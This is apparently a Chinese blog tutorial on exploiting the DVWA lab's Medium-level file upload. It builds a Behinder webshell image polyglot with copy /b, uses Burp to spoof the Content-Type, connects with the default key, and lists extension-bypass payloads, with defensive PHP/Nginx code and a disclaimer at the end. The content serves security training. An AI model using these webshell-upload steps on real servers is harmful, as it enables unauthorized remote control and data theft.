【DVWA系列】——File Upload——Medium详细教程(webshell工具冰蝎)

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

以下是针对 DVWA File Upload(Medium 级别)配合冰蝎(Behinder)的终极详细教程,涵盖环境配置、绕过技巧、实战步骤及防御方案,结合最新漏洞利用技术更新:


一、环境准备(关键细节)

  1. DVWA 配置
    • 将安全级别设为 Medium(访问 http://靶机IP/dvwa/security.php
      在这里插入图片描述

Linux上传目录权限(必做):
bash chmod 777 /var/www/html/dvwa/hackable/uploads # Linux
Windows 需手动设置 uploads 文件夹 完全控制权限(右键属性→安全→编辑→勾选“完全控制”)。

  1. 冰蝎 3.0 工具链
    • 下载地址:https://github.com/rebeyond/Behinder/releases(选 v3.0 稳定版)

二、绕过 Medium 级别防御的核心原理

Medium 级别仅检查 Content-Type 和文件大小,不验证文件内容:

// 源码检查逻辑(关键代码)
if( ($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && ($uploaded_size < 100000) ) {
    // 允许上传
}

绕过本质:篡改 HTTP 请求中的 Content-Typeimage/jpegimage/png,同时保留文件后缀为 .php


三、分步攻击流程(冰蝎实战)

1. 制作冰蝎图片马

文件准备(避坑关键)

  • 图片选择
    选普通.jpg图片(避免含EXIF数据的复杂图片,否则可能被二次渲染破坏WebShell代码)。
  • 冰蝎WebShell
    解压冰蝎包 → server/php/shell.php用记事本打开,确认默认密码$key = 'e45e329feb5d925b'

CMD合成操作(分步详解)

  1. 文件存放
    normal.jpg(正常图片)和shell.php(冰蝎木马)放在同一文件夹(如C:\hack)。
    在这里插入图片描述
    ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/e5e284c99de6445092c6fe6edf4eed79.png

  2. 执行命令

    cd /d C:\hack  # 进入目标目录
    copy /b normal.jpg + shell.php webshell.jpg.php
    

在这里插入图片描述
在这里插入图片描述

参数解析

  • /b:强制二进制模式合并(确保PHP代码完整附加到图片尾部)。
  • webshell.jpg.php:文件名必须保留.php后缀(否则服务器不解析),但用.jpg迷惑检查。
  1. 验证合成效果
    • 用记事本打开webshell.jpg.php → 滚动到文件底部 → 应看到完整的PHP代码(以<?php ... ?>结尾)。
    • 文件大小shell.php大小 + normal.jpg大小 = webshell.jpg.php大小(若不符则合并失败)。

在这里插入图片描述


  • 方法 2:Hex 编辑器(通用)
    1. 用 010 Editor 打开正常图片(如 panda.jpg)。
    2. 在文件末尾 追加冰蝎 WebShell 代码(默认密码 rebeyond)。
    3. 另存为 webshell.jpg.php

2. BurpSuite 拦截篡改(关键操作)

  1. 上传 webshell.jpg.php → 启动 Burp 拦截请求。
    上传时会出现下面的问题
    在这里插入图片描述
    我们去找我们刚刚上传操作的流量包

    把它发送到重放板块

  2. 修改以下字段
    只需要修改 ​​文件块的 Content-Type​​(无需动全局Header):

   ------------------------------123
   Content-Disposition: form-data; name="uploaded"; filename="webshell.jpg.php"  # 保留 .php 后缀
   Content-Type: application/octet-stream  → 改为 image/jpeg  # 此处是文件部分的 Content-Type!

在这里插入图片描述

3. 冰蝎连接 WebShell

  1. 获取上传路径:http://靶机IP/dvwa/hackable/uploads/webshell.jpg.php
  2. 冰蝎配置:
    • URL:上述路径
    • 密码rebeyond(若自定义密码需提前修改 WebShell 中的 $key 值)
    • 脚本类型:PHP
  3. 连接成功标志:状态显示 “已连接” → 可操作文件/命令/数据库。
    在这里插入图片描述

四、高级绕过技巧(应对严格环境)

场景Payload 示例原理适用性
双扩展名绕过shell.php.jpg利用解析顺序差异Apache/IIS 解析漏洞
空格截断shell.php .jpg旧版本 Apache 截断空格PHP < 5.3
.htaccess 覆盖上传包含 AddType application/x-httpd-php .xyz.htaccess自定义解析规则mod_rewrite 权限
大小写混淆shell.PhPWindows 系统大小写不敏感跨平台有效

五、防御方案(开发者视角)

// 1. 文件内容校验(必须!)
$is_real_image = getimagesize($_FILES['file']['tmp_name']);
if(!$is_real_image) die("非真实图片!");

// 2. 扩展名白名单(禁用黑名单!)
$allowed = ['jpg','png']; 
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if(!in_array(strtolower($ext), $allowed)) die("非法文件类型!");

// 3. 存储隔离
$new_name = md5(uniqid()) . '.jpg'; // 重命名
// Nginx 配置禁止解析 PHP
location ~* /uploads/.*\.php$ { deny all; } 

六、常见错误排查

  1. 冰蝎连接超时
    • 关闭防火墙(Windows Defender/iptables)或放行冰蝎流量。
    • 检查 WebShell 路径是否包含中文(改用纯英文路径)。
  2. 上传失败
    • 错误提示 Folder is not writable → 目录权限不足(执行 chmod 777 uploads)。
    • 错误提示 Invalid file → Burp 未正确修改 Content-Type

总结

  • 攻击链精髓:图片马制作 → Burp 篡改 Content-Type → 冰蝎连接。
  • 冰蝎优势:AES 加密流量绕过 WAF,支持文件管理/数据库操作等高级功能。
  • 终极防御内容校验 + 重命名 + 存储隔离 三者缺一不可。

附:冰蝎自定义密码方法(修改 WebShell 中的 $key 值)提升安全性。实战中建议关闭杀毒软件实时防护避免干扰。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值